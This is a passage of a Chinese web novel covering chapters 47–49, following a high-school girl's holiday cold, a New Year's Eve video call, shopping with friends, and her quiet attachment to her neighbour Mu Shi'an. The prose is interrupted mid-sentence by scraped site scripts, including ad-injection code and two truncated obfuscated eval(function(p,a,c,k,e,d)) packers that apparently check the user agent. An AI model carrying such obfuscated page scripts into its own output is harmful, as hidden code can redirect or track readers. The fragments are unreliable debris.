眼瞅着三天小假期已经过半,骆眀昭还浑浑噩噩地窝在床上发呆,平静感受着愉快的假期生活流逝,而且她还没开始写作业。 这辈子再减肥她就是狗! 人是虚弱的,心里却充满着牛劲,她吸着鼻子,怒发一条朋友圈。 家里没人,她包裹得很严实,加厚的家居服再加上棉袜,在床上躺累了就抱着毛毯去沙发上窝着,扒猕猴桃吃,补充维C,时不时拿起遥控器无聊地换台。 她嘴巴里都是苦的,吃猕猴桃也没滋没味的。 说起来今天还是跨年呢,今年的最后一天,她居然就在家里无聊得过。 去年好歹骆齐还开车带着家里人去放烟花来着,今天估计出门他们都不会让的吧,下午四点多,天色已然发暗, “啊啾——”骆眀昭忽地打了个喷嚏,她揉揉鼻尖,念叨着,“谁想我呢?” 正想着,平放在茶几上的手机振动一下,她伸手去够,点亮屏幕,消息人竟是牧时桉。 …… 发消息给骆眀昭时,牧时桉正陪着梁若璇在湖边闲逛,梁若璇感慨着,这么美的地方,要是能带着好姐妹们一起来就好啦了。 牧时桉垂下眸,停顿几秒后说:“你可以叫上她们啊。” 梁若璇把手机举高,踮着脚拍远处的景色:“不行,雨彤跟回老家新延了,昭昭她还病着,肯定不能来啊。” “病着?”他尾调不自觉扬起。 梁若璇这才想起来,骆眀昭生病这事,还没跟大侄子说。 “感冒了,在家里养着。” 这边的温度比绮城市区还要低个几度,梁若璇冻得直打哆嗦,留下一句回房间贴暖宝宝,就往山庄的方向奔跑,留牧时桉一个人在湖边。 湖面结着一层厚冰,四周空空荡荡几乎没人,牧时桉独坐在湖边长椅上,拿出手机翻看着。 几分钟以前,女生刚发布的朋友圈,字里行间满是怨念,还配着一张小猫炸毛的表情包。他低声很轻地笑了一下,点开熟悉的聊天框。 卅:【还难受着?】 昭昭是我:【好多了,就是鼻子堵着[无奈]。】 很快下面又跟了一条。 昭昭是我:【你听小璇说的吧,她说你们家里一起去扬西古镇玩了,怎么样那边好玩嘛?】 扬西古镇是绮城西边的一处旅游度假区,年底刚开一家度假山庄,牧家有远亲是工程方,趁着跨年,刚好留出几间房,晚上在古镇还会有跨年活动。 牧正云带着孙惠和父母去古镇里逛,两个小的不愿意去人挤人的地方凑热闹,就留在山庄里闲逛。 卅:【风景不错,有湖,有山。】 随后还附上一张风景照,湖面冰封,倒映着落日余晖,远处山顶还有白茫茫的积雪,只剩悠远的寂静,像是时间静止。 …… 骆眀昭在沙发上窝着,看着屏幕上的照片,心间不由得闷了些。 唔,要是没生病该有多好,起码不用呆在家里,她是真情实感艳羡。 昭昭是我:【好漂亮,有机会我也想去看看。】 正说着,微信铃声响彻客厅,牧时桉居然直接打来了视频电话,屏幕上直接映出自己那张憔悴的脸,苍白又没有血色,甚至嘴角边还残留着猕猴桃的绿色果肉。 一点迟疑没有,说打就打啊!骆眀昭愣着,犹豫着不知道该不该接。 抽出纸巾擦完嘴,骆眀昭犹豫片刻后,关掉摄像头接起电话。 还以为迎面就是牧时桉那张帅脸,却没想到对方手机开着后摄像头,屏幕里就是刚刚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他拍摄照片的角度,比起静止的图片,视频里响起呼呼风声,也更生动些。 骆眀昭将手机举到眼前:“怎么忽然打了视频来?” “你想看,正好我就在这。”牧时桉的声音传进她的耳朵,清清淡淡的。 摄像头缓缓移动,似乎想要将所有的景色都框进镜头里,骆眀昭片刻不离地盯着屏幕看,那里确实是个很美的地方。 骆眀昭抿了下唇,点了下麦克风讲它关闭,在安静的空间里,长长地送出口气。 好像打视频电话也挺好的,她有足够的时间调整自己的状态。 呼吸平稳后,她关闭静音。 “怎么不说话?”牧时桉忽然问。 “哦,刚刚关麦打了个喷嚏,”她撒了个小谎,大概是怕被听出破绽,赶紧转变话题,“那边冷吗?” 他说:“比市区冷,早上来时下了场小雪。” 但到了午后,天空便晴朗起来,碧空如洗。 屏幕里,黄昏的余韵逐渐散去,天色逐渐暗了下去,骆眀昭下意识往客厅的窗外看去,天空深邃又神秘。 “大侄子,我回来啦!”屏幕里,从远处向这边,一个人影向这边奔跑过来,梁若曦穿着白色的羽绒服,帽子边上都是毛,像是个奔跑着的雪人。 直到站定在牧时桉身前,还在微微喘气,两边脸颊都是红扑扑的。 骆眀昭没忍住,笑出声来:“小璇,你好可爱。”‘ 梁若璇愣着,还以为自己是幻听:“我怎么感觉我听到昭昭的声音了?” “在视频。”牧时桉晃晃手机,挑了挑眉。 “……牧时桉!”梁若璇带着怨气,一巴掌就落在他的胳膊上,“啪”的一声,“你能不能早点说!我的形象!” 牧时桉瞥她一眼:“你也没问。” “滚!” 出了气,梁若璇一把夺过他的手机,将镜头翻转过来,冲着自己:“昭昭,怎么样,你身体好一点了吗?” “嗯嗯,我没什么事啦。”她回。 梁若璇激动地说:“有机会我们一起来这里啊,这边可漂亮啦——” 说到一半她忽然停顿,扬起头看向一方,骆眀昭还懵着,却见她翻转了摄像头。 “大侄子,昭昭,你们快看那边的天空,好美啊。” 结着冰的湖面与天际连成一片,世界被孤独的蓝浸染着,时间像是能被感知到的在减缓,一秒两秒都是永恒。 “蓝调时刻。”骆眀昭忽地喃喃念道,却心脏在密密麻麻地抽痛着。 梁若璇大概是第一听到这个词,好奇地问:“那是什么?” 骆眀昭压下翻涌上的情绪,努力平静地同她解释:“在日出前和日落后,都会有这样短暂的时间,大概二十分钟左右,这时候天空会呈现饱和度很高的蓝色,就叫蓝调时刻了。” “原来是这样。” 即便手机并不能拍下这一时刻的美,甚至在画质的几度压缩下,在骆眀昭手机屏幕模糊不清,但她仍然能隐隐感受到它的震撼。 美的真让人讨厌。 冷不丁地,牧时桉忽然问:“你怎么了?” 他是在跟手机另一头的骆眀昭说话,她意识到了这一点,也同时意识到脸颊划过水珠。 她赶紧伸手擦掉,故作镇定:“没什么,就是有点感慨。” 梁若璇问:“感慨什么?” “感慨,这是今年最后一次的蓝调时刻。” 47. 腊八蒜 这次感冒大概是骆眀昭自中学以来,持续时间最长的一次,拖拖拉拉吃了快一周药,她才恢复如初。 临近期末,一班所有人都为了这学期的最后一次考试而努力着,似乎一夜之间,大家就从节假日的欢快气氛脱身出来,整个班级顿时陷入低气压模式,自习时偶尔传来一声杂音,接着这就会有人敏感地“啧”一声,表示不耐烦和提醒。 骆眀昭这病配合着咳嗽,搞的她大气也不搞出一声,实在憋不住想咳嗽时,就把脑袋埋进围巾里降低音量。 不止一班,其他班级也都进入冲刺战斗阶段,像是被梁父设定好回到一班这个指标的梁若璇,嘻嘻哈哈玩闹的时间也少了很多,休息时间都被辅导班占用。 就这么整个学校平静了半个月,期末考这场最后的决战也落下帷幕,考完试又上了几天可有可无的课,除了试卷讲评,剩下时间大家就开始着急地写自己的寒假作业,厚厚的练习册每个科目一本,看着就愁人。 一月十八号这天,腊八节,绮城所有高中学生,统一开始了他们的寒假生活。 在家彻彻底底地放松了一个多星期后,这一天骆眀昭起了个大早,因为要跟好姐妹们出去逛街。 “赶紧出来,吃早饭啦!”骆齐穿着围裙,在客厅呼唤着。 骆眀昭停止自己在扒着衣柜翻找衣服的动作,回了句:“我来啦。” 推开卧室门出去,餐桌上王乐萍和骆齐已经坐好开始吃饭,骆眀昭蹦蹦跳跳地走到自己位置上坐好,心情一看就很美妙:“爸比妈咪,你们早上好。” “早上不好,我要去上班了,”王乐萍拉着脸喝粥,一副被工作折磨的模样,“稀奇,你今天起的挺早。” 骆齐帮骆眀昭盛粥,顺口提醒她:“你忘了,她要去跟雨彤她们出去逛街。” “是的,妈咪。”骆眀昭接过碗,甜甜笑着,毕竟金主妈妈在此。 此话一出,王乐萍的嘴角更往下了。 骆眀昭怕是再笑就会触王女士的霉头,赶紧收回笑容,抱着粥碗降低存在感。 余光里,无意中瞧见桌上小碟里,一颗颗翠绿色的腊八蒜,有些发愣。 她还记得腌腊八蒜那天,还是她假期的第一天,她也一大早起来帮忙扒蒜来着,没想到都过去这么多天啦,蒜都绿了。 “别老想着玩,作业记得按时写啊。”王乐萍斜过目光,悠悠地提醒着骆眀昭,有种自己忙活亲闺女也别闲着的架势。 骆眀昭筷子刚夹上一头蒜,闷闷地说:“哦,知道啦。” 王乐萍也就恶趣味地点这么一句,多的唠叨也没说,毕竟期末成绩出来,骆眀昭成绩不错,逃出班级倒数十名的范畴,来到了班级第四十名,也就是倒数第十一名,她挺满意的,毕竟一直都在进步。 一顿早饭安静地进入尾声,王乐萍擦擦嘴起身:“上班去了。” 刚走几步又补一句:“不是去买过新年的衣服吗?一会儿给你多转点钱,买点有牌子质量好的衣服,顺便给我看看有适合我的没。” 骆眀昭激动地叫唤:“妈咪万岁!” - 小时候最盼过年,但这些年好像少了点那种味道,不过年前买新衣这个环节还是必不可少的,女孩子们都喜欢打扮的漂漂亮亮过新年,骆眀昭也不例外。 骆齐恰好跟她一起出门,顺路送她,临下车时怕不够又转给她些钱。 逛街也要打扮的漂亮,跟好姐妹在上次聚会的那间大商场相遇,她们几乎是踩着商场开门的时间到的,手挽着手进商场时,各间商铺的员工才刚上岗不久。 “要喝奶茶吗?”林雨彤主动提议,假期里她也准备好好放纵一番,必须全糖小料加满。 奶茶爱好者梁若璇和吃货骆眀昭绝对同意,她们找到间奶茶店,点好饮品在休息区坐着等待。 梁若璇撑着脑袋,看向在操作台后忙碌的店员们,忽然感慨:“感觉在奶茶店上班也挺好的,每天摇奶茶,什么都不用想。” “璇子怎么忽然多愁善感起来啦?”林雨彤瞧她有些稀奇。 梁若璇努力扬起嘴角笑笑,她想到了前几天班级家长群出成绩的时候,她是二班第一,年级排名也冲进前五十,下学期重回一班应该是稳了。 看着她成绩的梁父,除了高兴外,又坐着她的床前念叨了很久。 什么好好学习才能冲上重点大学啊,本科读完紧接着就是研究生,有了好学历才有好工作,到时候回到绮城,家里人帮衬着找个事业单位,稳定事少,有了好工作就是找好对象的前提啊…… “他就叨叨叨说了好久,我就感觉我的人生就是流水线上标准化产物,没有新意没有变化,终点就是他口中的幸福一生,结婚生孩子养孩子,”梁若璇紧皱着眉,向姐妹们诉说着自己的沮丧,“一定要稳定吗?一定要成功?我觉得在奶茶店摇奶茶也没什么不好的啊。” 骆眀昭失笑,宽慰着她:“干嘛?才高中就要着急担心未来十年二十年的事啦。” “也不早啊,”梁若曦说,“这半学期已经过去了,多快啊,就剩一年半了,高考志愿就是第一次重大选择。” 她看向林雨彤想用眼神示意帮着安抚,却没想到林雨彤也是同样愁云惨雾。 迷茫是十七岁少年的通病吧。 林雨彤总是洒脱自信的脸上,也隐隐带着丝自我怀疑的意味。 她跟其他姐妹不同的是,她算是提早选好了自己人生一阶段的方向,服装表演,但她时常也会纠结,这个选择是对的吗? 即便家里人都在全力支持自己,但周围否定的声音还是很多,不仅是她连带着家人都被冠上娇惯孩子、不理智的的头衔,什么没有前途啊,就是玩票的等等的话术,她听得太多了。 大概是被这股氛围带着,骆眀昭似乎陷入困惑中,她好像也在漫无目的地向前走,虽然有学医这个小小的心思在心底种着,但她好像也从没为之努力过,只是在老实尽着做为学生的本分。 有个为之奋斗的梦想,是个什么感觉呢? “摇奶茶一点也没有你们想象的轻松哦。”她们都在走神,忽然听到身旁传来柔和的女声。 三个女生顺着声音望过去,操作台里忙碌的小姐姐,忽地从取餐台里探出头,笑着将她们的奶茶递出来,少女们盯着她,愣着眨巴眨巴眼。 梁若璇鬼使神差地问:“会很难吗?” 那个小姐姐想了想:“倒是不难,但也有很多缺点的,比如有点枯燥单调啦,碰到高峰期忙得要命,还有啊,冬天是芋泥季,最近捣芋泥感觉整个胳膊都要断掉了,”她笑着说,“对了,要打包吗?” 骆眀昭首先反应过来,摇摇头:“姐姐直接给我们就好。” “总之,有些选择没你想得那么好,有的却也没你想的那么坏,无论选择什么,都不会百分百的满意,甚至还会后悔为什么没有选另一条路,想的太多反而会在你真正面临做重大抉择时,左右你的决定,你们现在不用担心那么多,抛开一切,好好学习,横冲直撞往前走就好。”她说。 女孩子们捧着奶茶眼睛亮着,像是看英雄一样看着她。 远处忽然响起一声呼喊:“小项,你过来一下。” “好。”那个大姐姐回道,说完就离开了取餐台。 骆眀昭她们于是面面相觑,挽着手离开了奶茶店,推门离开前,骆眀昭回过头目光落在那个大姐姐的背影上。 虽然她们还是没能完全从困惑迷茫里走出来,毕竟这是她们今后许多年都需要面对和解决的课题,但至少今天,在这个无名大姐姐的开导下,她们能度过无忧无虑的一天,幸福地在商场里逛着,做一个普通的高中女生。 短暂地抛开烦恼,她们在商场里肆意地逛着。 今天是工作日,人不算多,几乎每去一家店都有空闲的试衣间,让她们有的是时间一件件试穿挑选。 最后几乎是过了饭点,她们才想起来饥饿,提着战利品去楼上找喜欢的美食。 坐在饭桌上的梁若璇还在念叨:“你们说我刚刚是不是该买那件毛衣的?但是三百八真的很贵啊。” “确实很贵,小璇,”骆眀昭一盆冷水泼过来,“那么薄连二百块都不值唉。” “是哦,算了反正我外套裤子鞋都买好啦,就差件上衣,不行过两天你们在陪我出来嘛。”梁若璇想得很好。 林雨彤却摇摇头:“不行哦,我后天就要回新延老家了。” “这么早!”另外两人都惊呼。 “早吗?还有不到半个月就除夕了。” 确实,春节将至。 叫号机叫到她们的号,她们纷纷放下手里物品,一个个起身去端自己的面。 林雨彤把碗放在桌上,随口说:“你可以让骆眀昭、薛游他们陪你嘛,再加上个牧时桉。” 说这话时,她下意识看向骆眀昭,却看她正专注于自己眼前的这一碗面。 牧时桉那小子是被她们发现了,骆眀昭好像没什么反应哎,是还没开窍吗? “大侄子不行。”梁若曦摆摆手,用筷子挑了挑碗里拌面,“他家最近忙着搬家呢,正好他姥姥姥爷马上从老家那边来绮城过年,收拾好房子准备跟老人住。” 搬家? 骆眀昭举起手机为面拍着的胳膊在空中停顿片刻。 “给我的也照两张。”梁若璇把自己的碗往前一推。 骆眀昭掩去情绪,伸手调整一下构图,像是还在为食物拍照,故作平常:“搬回到 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房间里就这么安静一会儿,忽然从厨房响起声音:“骆眀昭过来,帮我办点事。” “怎么啦?”她踩着棉拖鞋过去。 王乐萍推开厨房门,递出一罐用罐头瓶装的腊八蒜:“你去,给楼上孙阿姨她们家送上去。” 骆眀昭接过来:“他家不腌吗?” “你孙阿姨是南方人,她们家没这习惯。”王乐萍解释,说完便一把又拉上门。 骆眀昭低下头看着一罐翠绿色的腊八蒜,忽地想起下午梁若璇说的话。 对哦,他要搬回去啦。 骆眀昭回到沙发边捞起手机,点开微信给熟悉的聊天框发送信息。 昭昭是我:【在家吗?我妈让我送点东西上去。】 消息发送成功,等待着回信的时间,她换了件得体的衣服,走出卧室时手机正好响起声。 卅:【刚看到,我在家。】 昭昭是我:【我现在上去。】 骆眀昭捧着罐头瓶,一手单拎着钥匙串,推开玄关处的大门,垂下眼安静迈上台阶。 从寒假开始后,除了取快递骆眀昭几乎没有出过门,也就一直没见到牧时桉。 但她隐隐也满足着,因为她知道,他们不过就隔着一层楼板罢了,可是…… 没关系啊,虽然搬回去了,但是他们还是同学啊,也是每天都能见面的不是吗? 她心里这么想着,但却无可避免地被失落感填满着。 这就意味着,他们没办法像从前那样一起两人放学回家,公交上少了一人陪伴。 习惯真的很可怕,不过十分钟左右的路程,这就孤独上了吗!骆眀昭出息点! “你要上几楼?”身后忽然响起熟悉的男声,带着点笑意。 骆眀昭猛地反应过来,自己正身处三楼半,马上就上到四楼。 她赶紧往下走:“有点走神哈哈。” 牧家大门半敞,牧时桉抱着胸斜靠门框,嘴角很轻地向上扬着。 骆眀昭甩掉脑中繁杂思绪,伸手把罐子递给他:“给,我家腌的腊八蒜,挺好吃的。” “好。”他接过。 “那我就下去啦。” 完成使命后,骆眀昭下意识就想走,直到她已经往下走了好几步,身后的房门还是没有要关上的意思,她回过头,牧时桉仍站在门口,看着她。 骆眀昭没戴眼睛,这个距离已经有些看不清他的眼神,她轻咬着唇,几秒钟后开口。 “上午跟小璇她们逛街,她说你要搬回去啦?”骆眀昭扬起头,这么定定看着他,就这样直白地问。 她不要翻来覆去地被情绪左右,半夜还要悲悲切切地多愁善感,起码要问个清楚明白,从他口中得到确凿答案,她也就安心了。 “是要搬。”他说。 果然啊,唔,有点小小伤心唉。 骆眀昭努力笑着正要转回身,却听身后少年声音清冽,一字一句她都听得真切:“年后再搬回来,毕竟这边离学校更近。” “是嘛,知道啦。”她回说,而后慢慢悠悠下楼。 关上自家房门时,她靠在防盗门上,感觉心跳地比平时快一万倍,几乎要爆炸了一般,骆眀昭抚着胸口,长呼一口气。 幸好、幸好。 调整好了气息,她换鞋进屋,根本压不住笑意。 怎么办?是不是有点太明显啦! 骆眀昭刚脱下外套,被遗忘在沙发扶手上的手机屏幕忽然亮起来,她快步去开,唤醒手机。 卅:【你问我,是不希望我走吗?】 48. 鸡腿 晚餐饭桌上,就只有王乐萍和骆眀昭母女两人。 “你干什么呢?吃不吃饭。” 王乐萍歪头问一句,毕竟身旁的骆眀昭捏着筷子,目光斜着,久盯平放在桌面上的手机屏幕,把同一肉来来回回夹起五次,都没又成功将它从餐盘夹走。 骆眀昭还在神游中,心思压根就不在饭桌上:“什么?” “我说你吃不吃这块肉!不吃你就饶过它!”王乐萍咬着后槽牙,没好气地看她,说完,又伸手夹走了这块肉,送入自己口中。 骆眀昭回过神来,这才意识到自己做了什么蠢事,赶紧把影响她情绪的手机收到兜里,认真专注地埋头干饭。 王乐萍问:“看什么呢?这么出神,我觉得我今天的饭做的挺好吃啊。” 反正有任何问题都肯定不是她厨艺的问题,王乐萍就是这么自信。 骆眀昭想着那条她始终没有回复的微信,故作镇定:“没什么,等朋友微信。” 王乐萍默默看着她没说话,眼睛眯起来思索着。 少女时期她又不是没有经历过,不就那些事吗?一个大胆的想法在脑海中产生——骆眀昭这幅魂不守舍的模样,是不是被人家甩了? 可念头一出,王乐萍又忍不住自我怀疑起来,骆眀昭唉,她亲闺女有几斤几两她这个亲妈还不知道?脑子里除了饭还有什么? 刚收回手机,骆眀昭手又情不自禁悄悄将它摸了出来,脑子里疯狂纠结,上次这么纠结,还是骆齐告诉她西红柿炒鸡蛋和地三鲜只能选一样做的时候。 她不知道为什么牧时桉这么直球问她这个问题,虽然这哥原本就是直接到让人慌张的程度,但忽然天降这条微信,真的让她措手不及,他还不如刚刚在楼道里亲口问她,这样她起码能根据他当下的语气随机应变做出反应,这样一条微信,她真的会疯狂遐想。 他是开玩笑问的?还是认真问的?或者觉得她越界了,在多管闲事,语气硬邦邦? 啊啊啊完全猜不透啊!少男心真是海底针。 王乐萍把最后一口米饭吃干净,抬头看着骆眀昭决定试探一下:“闺女,妈问你点事呗?” “怎么了?”骆眀昭将手机又收回兜里,回道。 王乐萍清清嗓子:“今天我听我们单位的同事说,他们家孩子早早就跟小男生谈恋爱,你周围像是雨彤她们,有谈男朋友的吗?” “怎么?妈你想从我这打探消息,然后给林妈妈打小报告?”骆眀昭心思九曲十八弯,想什么根本捉摸不透。 “……”王乐萍气急,“我有病啊!闲得吃饱撑的给人家打小报告!我就随口问问,关注一下你们孩子们现在的生活!” 骆眀昭更多心思还在琢磨怎么回微信上,王乐萍的话压根没往深处细想:“放心,大家专注学习生活,目前没有早恋现象,我吃饱了回房间啦。” 虽然这么说,但临离开餐桌,她还是伸手够了一只大鸡腿塞进嘴里,叼着悠哉悠哉离开。 王乐萍:…… 就骆眀昭这傻样,算自己吃饱撑的想太多了。 骆眀昭回到卧室,坐在自己的椅子上,一只手抓着鸡腿啃着,目光却还是紧紧盯着手机屏幕。 很快,她像是想到什么,抽出张纸把油爪子擦干净。 要不然,这样回好了—— 昭昭是我:【哎呀,我刚刚才看到手机,抱歉啊。】 昭昭是我:【要是你走了,以后放学就剩我自己,如果想吃什么夜宵我自己吃不了,就没人分享啦,所以还挺舍不得的。】 搞定! 于情于理都合适,不会误会,真是完美。 大概几分钟后,对面回来消息。 卅:【嗯,我知道了。】 卅:【我就是随口问问,暂时不会搬家的放心。】 骆眀昭捧着手机,长出一口气。 原来只是随便聊聊,还好还好,没有误会。 …… 一墙之隔的三楼,孙惠正在客厅里做着最后的整理收纳,不需要的物品都搬回原来的房子里,这边老房间也有需要换新的。 牧时桉从卧室里走出来,准备去厨房接杯水,他嘴角小幅度上扬,看上去心情不错的样子。 “正好你出来,你跟着记着点,”孙惠叫住她,指着落在墙角的几个箱子,“明天这几个搬回咱家,然后那几个给你爷爷家送过去,万一我记性不好忘了。” 牧时桉轻轻点了下头,扫过几个箱子:“我记住了。” “那会儿要是知道你还想要住在这,我就不早早搬东西回去了,这下还得再折腾一番搬回来。”孙惠随口念叨一句。 饮水机嗡嗡响着,牧时桉握着玻璃杯静看着温水流下,默不作声。 直到他端着杯子走回厨房,路过客厅,微微扬眉:“这边挺好的,离学校更近。” 事实上也就是多坐十分钟公交的样子,又能差多少。 孙惠夫妇也没多想,终归是为了孩子学习,能近点就近点。 “也是,老城区这边生活也方便,离早市也近,楼下那小吃街,也挺不错的。”孙惠说。 破天荒的,进房间前的牧时桉居然回了一句。 “确实挺不错的。” 哪怕只是个放学搭子,分享食物的同行伙伴,骆眀昭需要他,不希望他走。 这就足够了。 - 直到春节前,骆眀昭再没跟好友们见过面,家家都为了这一年一度的盛会忙碌着。 骆眀昭也是全身心帮着家里完成过年准备,腊月二十八那天骆齐开车带着她去县里接姥爷来绮城过年。 王乐萍和骆齐出生没几年,全国计划生育就开始了,骆家老夫妻是国企职工,骆姥爷当时也是县里卫生院的,所以两人都是独生子,两家都就这一个孩子,那些年骆眀昭姥姥还在世时,就是把两人从县里接到绮城来两家人一起过年,后来姥姥走了,骆姥爷就怎么都不愿过来,骆齐夫妻俩就只能先跟爷爷这边过,大年初二一早再开车赶过去。 原本老爷子还犟着说留在家里挺好,王乐萍气得差点班也不上就杀回去接人。 “你非要一个人呆着干嘛,冷冷清清的,家里又不是没有你住的房间。”王乐萍在电话里气得眼泪又快翻上来,一咬牙就又挂断了电话。 “你说他干嘛呀,”放下电话王乐萍彻底憋不住哭腔,跟骆齐哭诉,“大过年的,初一别人家都团团圆圆的,你说他一个人孤零零在家里,我能放心吗!所有人都顺着他,前天你爸还主动说,让咱带着他俩回县里过年陪亲家,你妈那腿走两步就疼,人家都没这么多事!” 骆齐安抚着:“你也不是第一天做女儿,我岳父什么性子你不知道?他自在一辈子,从前有岳母陪着,现在就他一个老头住到女儿家里,这绮城哪哪他都不认识,他也不好受啊,你想想让你住到别人家里,你能完全放松?” “那我是他闺女啊!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛游今年跟爷爷奶奶一起去海南过年了,每天朋友圈晒海滩照。 nauxl:【大家过年好哦!】 nauxl:【我也太倒霉了吧,就抢到三块!】 rainy:【拼手气,拼的就是你的手气嘛。】 nauxl:【算了,本小姐今年也不差薛游那三瓜两枣。】 XY:【@卅,老牧呢?就他没领。】 nauxl:【被脑残亲戚灌了两杯白的,刚去洗手间洗脸。】 聊了一会儿,牧时桉总算出现,也跟着发了个红包。 卅:【春节快乐。】 这边刚发,骆眀昭捧着手机又感觉一震,她退出去,才看到他刚给自己发了一条。 卅:【骆眀昭,新年快乐。】 不是群发,是单单发给她的。 骆眀昭呆住几秒,手指往上滑了几下,跟他的上一次对话还是楼道那次。 昭昭是我:【你怎么样?喝多了?】 卅:【没有,刚没看手机。】 骆眀昭望着屏幕,抿了抿唇指尖悬在半空,一分钟后,她敲上字符。 昭昭是我:【牧时桉,新年快乐。】 祝你今年的每一天,都感到快乐。 49. 奶黄流沙包 绮城今年高中开学日定在正月十六,就是在学生们刚幸福地度过元宵节后,次日就要无奈背着书包上学报道。 这种对假期的戒断反应谁都会有,对骆眀昭来说不只是寒假戒断,还有对姥爷的不舍,尤其中午还一家人在饭桌上热闹吃饭,下午骆齐就要开车带着骆姥爷离开绮城,她没法不沮丧。 像是绮城这种地方,即便是立了春,也暖和不到哪去,开学这天又把刚刚冒出的那点回暖征兆,生生打回去。 骆眀昭哆哆嗦嗦地站在公交站台等车,恨不得当下把被子从家里拽过来披在身上,风口处一阵寒风吹过,她兀自骂骂咧咧,什么鬼天气。 外套口袋里还有只塑料袋装着的奶黄流沙包,因为太烫于是她带着准备去学校吃,现在也已经成了她暖手的工具。 远眼前公交车缓缓停下,她握紧手里的一卡通,在车门拉开瞬间小跑进车厢取暖,即便大差不差,车里也总比外面强。 车上人不算多,有几个穿八中校服的学生,反正一般坐公交的都是这趟车,骆眀昭四下扫过,空位很多,但她伸出手指摸了下塑料凳的温度,还是不坐了,十分钟而已她坚持一下。 额,她怕着凉拉肚子。 汽车就这么晃晃悠悠地开,骆眀昭抱着车杆无聊发呆,无意中目光扫过公交车最后排的靠窗座位,带着棒球帽的男生身穿八中校服安静地坐着,以至于在车厢里几乎感受不到他的存在。 是林以征。她认出来了。 骆眀昭没忍住多看两眼,在车即将到底目的地时,顺势收回视线。 昨晚在班级家长群,宋晓发布了班级人员表,梁若璇如愿以偿重返一班,还有四五个骆眀昭从前没见过的名字,大概也都是从平行班升上来的,其中还有个名字引起班级群里小范围讨论,就是林以征,虽然年级第一进一班是理所当然,但是这种等级的学神,还是不由得让人压力暴增。 公交停稳,站在后门口的骆眀昭最先下车,时隔一个多月,再次走上了这条人行道,在她身后不远处,林以征紧跟着走下车,扬起头朝着她的方向扫过,神色不明。 八点返校,七点二十教室里就坐了近一半人,骆眀昭背着书包走到了自己座位,似乎半年前刚到北校区时,她刚经历这场景,一眨眼她也在一班待了半年啊。 说起来,开学后的第一件事,大概就是重新分座位了吧。 上学期原本说期中后要分一次座位,后来宋晓也没主动提这事,大家都对自己的同桌很满意,也就把这事淡忘了,就只是按习惯每两周横向平移座位。 那如果分座位的话,她是不是就不能…… 骆眀昭单手撑着脑袋,一只手抓着已经凉下去的奶黄包啃着,猛地反应过来,暗骂自己可真没出息。 正走着神,班级内一瞬间气氛突变,空气中蔓延着说不清道不明的感觉,骆眀昭被这股异常氛围影响,也扬起了头,后门处林以征搬着自己从之前班级拿下来的物品,默不作声进班。 前排热聊中的一班学生纷纷侧目,但即便任谁都能感受到这股诡异的气氛,林以征却仿佛置身事外,随手将一摞书放在班级后排放杂物的桌上,靠着储物柜门低头看手机。 但此时此刻,骆眀昭却觉得班里怨气最重的地方应是她这,她缓缓转头看了眼韩进奇,他正满是怨念地回头看林以征,看着也有些心酸感。 “没事的,学委,我相信你能反超。”骆眀昭给他一个鼓励的眼神。 韩进奇咬着后槽牙:“我还真就不信了!” “昭昭,我来找你啦。”忽地一下,梁若璇溜到骆眀昭身后成功,轻拍了下她的肩膀,骆眀昭顺势转过身,林雨彤和牧时桉也在她身后,手里抱着些梁若璇的杂物。 跟好朋友们都几乎一个假期没见,骆眀昭节后一直留在家里陪姥爷,没有出门。 骆眀昭惊喜地站起身来:“小璇你来啦!好久不见!” “梁若璇你东西放哪?”牧时桉瞟她一眼,话落,眼神又悄然落在身前女生脸上。 “后面是不是没有空的储物柜啊?”梁若璇转过身向着后排扫过一眼,要离开一班的那几个还没来收拾柜子,“唔,那先放角落地上好了,一会儿要分座位吧,到时候再搬呗。” 林雨彤哭丧着脸:“行了,你们三个就别相亲相爱啦,给我搬东西去吧。” 梁若璇和骆眀昭相视着,也无奈地摇摇头。 这学期的班级调动不仅只有一班,高二年级从这学期增设艺术班,所有艺术生抽调出来统一安排在这个班里,八中不是艺考重点学校,走艺考的人不算多,总共也就这一个班,林雨彤从今天开始也是这个班的成员之一。 “五楼,五楼啊,每天上学上操吃饭要爬五楼!还不如要我半条命呢。”原来的二十六班取消改为艺术班,位置就在五楼最角落。 梁若璇也不知道该怎么安慰她,就只能说:“没事,正好也有助于你保持身材嘛,是不是。” “我谢谢你啊。”林雨彤扯扯嘴角,睨她一眼,“走吧,帮我搬东西。” 牧时桉刚下背包准备跟着走,却听林雨彤说:“你就不用了,我东西没梁大小姐那么多。” 梁若璇气得怼她一下:“我也谢谢你!” - 帮林雨彤放好物品,骆眀昭和梁若璇结伴下楼,进班时刚好压中八点,教学楼里响着铃声,班里几个空位,梁若璇随便找个地方先坐下。 铃声响完宋晓还没进班,骆眀昭把椅子上的书包放在桌上,托下巴等着。 “一会儿是不是要换座位。”身旁忽地出声,骆眀昭许久没有这么近听到这个声音,还有些愣神。 她侧过脸,牧时桉也跟她一样姿势,随意地撑在桌上,扭过脸目光落在她上。 骆眀昭抿着唇:“嗯,应该要换。” “还一起?”他挑了下眉,简单只说三个字。 骆眀昭顿了顿,调整好表情后轻笑了下:“行啊,不过先说好,我只坐最后排。” “好。”他说。 余光里看见前排有人进班,骆眀昭于是赶紧扭正身子,撑在脸侧的手不经意间遮挡住唇部,那是藏不住的好心情。 宋晓进班时,班里瞬间就沸腾起来,所有人的目光都定在她身上,任谁都能看出她身体跟之前的不一样,原本纤细苗条的女人单单只有腹部微微突起。 骆眀昭忽然想到,年底那阵班主任老调课,原来是因为怀孕啦。 “安静!”宋晓声音有些虚,但话一出躁动的班级顿时平静,“那个先跟大家说声抱歉,相信大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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午餐时间,骆眀昭三个站在教学楼门口空地,等待着薛游和林雨彤下楼。 教学楼门口,被等待的两人先后出来,林雨彤身侧有个女生看着挺冷淡的,林雨彤扭过脸跟她说:“我跟朋友去吃饭啦,一会见。” “嗯。” 